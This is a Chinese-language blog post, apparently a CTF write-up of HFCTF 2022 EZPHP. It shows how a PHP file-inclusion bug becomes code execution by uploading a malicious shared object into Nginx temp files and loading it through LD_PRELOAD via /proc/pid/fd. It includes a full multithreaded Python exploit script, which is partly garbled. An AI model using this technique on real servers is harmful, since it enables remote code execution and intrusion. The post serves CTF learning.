t

tacoking

V1

2022/10/15阅读:39主题:全栈蓝

关于 LFI 与 RCE

前言

看到有道非常有趣的题目——HFCTF 2022 EZPHP。查阅了一些资料,拜读了点大佬文章及思路,学习并总结了相关的知识点。

考点

1、Nginx-fastcgi 缓存文件

2、LD_PRELOAD 加载恶意 so

题目源码

一开始我以为是利用一些协议绕过就行(学的浅,大佬勿喷),发现不太行。看了相关解析之后发现这是一道 LFI=RCE 的题目。 发现是 1.14.2 版本的 nginx ● nginx 临时文件:

ngx_fd_tngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access){
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;}

可以看到临时文件一经创建就会被删除,然后返回 fd

当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值(大概 32Kb)不适合以内存的形式来存储的时候,一部分就会以临时文件的方式保存到磁盘上,然后在 /var/lib/nginx/fastcgi 下产生临时文件。

也就是说 nginx 在代码上生成后是直接删除的,但是 buffer 还在慢慢追加文件,等文件完整了才会彻底消失,因此产生了 fd 文件,让我们可以在这段时间内进行利用。

● LD_PRELOAD 加载恶意 so: LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为 LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。程序中我们经常要调用一些外部库的函数,以 open()和 execve()为例,如果我们有个自定义这两函数,把它编译成动态库后,通过 LD_PRELOAD 加载,当程序中调用 open 函数时,调用的其实是我们自定义的函数。 用了大佬的 exp

然后 gcc -shared -fPIC hack.c -o hack.so -ldl 编译成.so 文件。

小知识

Nginx 缓存

设置用于读取客户端请求正文的缓冲区大小。如果请求正文大于缓冲区,则整个正文或仅其部分将写入临时文件。默认情况下,缓冲区大小等于两个内存页。这是 x86、其他 32 位平台和 x86-64 上的 8K。在其他 64 位平台上,它通常为 16K。

Nginx 的 fastcgui 接收到的响应大小超过 32Kb 就会在/var/lib/nginx/fastcgi 产生一个存放相应内容的临时文件, 但其实这个过程可以说是稍纵即逝,文件创建到删除的窗口期根本不足以让我们及时的就行文件加载, 这时候就用到了记录进程信息的文件夹/proc/pid/fd。 在 Linux 上,在一个进程中打开的文件描述符集可以在/proc/PID/fd/路径下访问,其中 PID 是进程标识符。在这里面存放有进程打开的全部资源文件的软链接, 最重要的是即使临时文件被删除了也还是一样可以被正常读取。

在 ngx_open_tempfile 中 Nginx 临时文件的创建方式:创建之后会马上删除这个文件,然后把这个文件的 fd 返回出去。

所以我们就可以将临时文件上传控制为我们的恶意 so 文件, 然后设置 payload 为 ?env=LD_PRELOAD=/proc/pid/fd/file_id echo 命令会加载我们 so 文件劫持的函数加载恶意代码从而获取 flag。

关于找 PID

想不到很好地方法, 那只能说是修改脚本在允许范围内多建立一些线程, 让包含文件的进程阶梯式的扫描完每组的 pid(例如 20 个线程则每组 pid 数为 20,先扫了 1-20 然后扫 21-40 一次递增)。因为一般在 fd 中的文件号不会超过 70, 每组我们需要跑 1400(20*70)次, 这个对于计算机并没有太大压力。 对于题目环境的 docker 来说, 打开的服务并不会很多, 所以 pid 也不会很大。如果想要直接进入自己的 docker 找到处理请求的 Nginx Worker, 就需要找到/proc/pid/cmdline 文件内容为 nginx: worker process 的进程, 一个 Nginx 服务默认只有一个 Nginx Worker 所以也就不难找了(我的 docker 就是只有一个)。

解题思路

脚本代码:

mport os
import sys, threading, requests,time
URL = f'http://ed717b2e-6314-4da8-a3a9-7f3ffc6b166a.node4.buuoj.cn:81/index.php'
# 这个进程pid如果是在本地测试的话可以直接修改, 做题时直接慢慢爆破
nginx_workers = [ 266, 268, 32831, 33666, 9]
done = False
flag=""
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data=open("exp.so""rb").read() + (16 * 1024 * 'A').encode())
print(flag)
def bruter(pid):
global done
while not done:
time.sleep(3)
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
print(f)
try:
r = requests.get(URL, params={
'env''LD_PRELOAD=' + f,
})
print(r.text)
except Exception:
pass
def get_flag():
global done,flag
while not done:
r=requests.get(URL.replace("index.php","flag"))
print(r.url)
if r.status_code==200:
if "{" in r.text:
open("./get_flag","a").write(r.text)
done=True
flag=r.text
while 1 :
print(flag)
# 获取flag写入end_flag
t = threading.Thread(target=get_flag)
t.start()
# 建立16个持续上传文件的线程
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
# 为每个pid建立一个文件包含的线程
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid,))
a.start()

亲测能跑,但是不知道为什么,buu 上面老是 429 too many requests,换了个带延迟的 jio 本也不行,看了别人文章也是说有类似情况,换本地部署打就没问题。。。。。。

分类:

后端

标签:

后端

作者介绍

t
tacoking
V1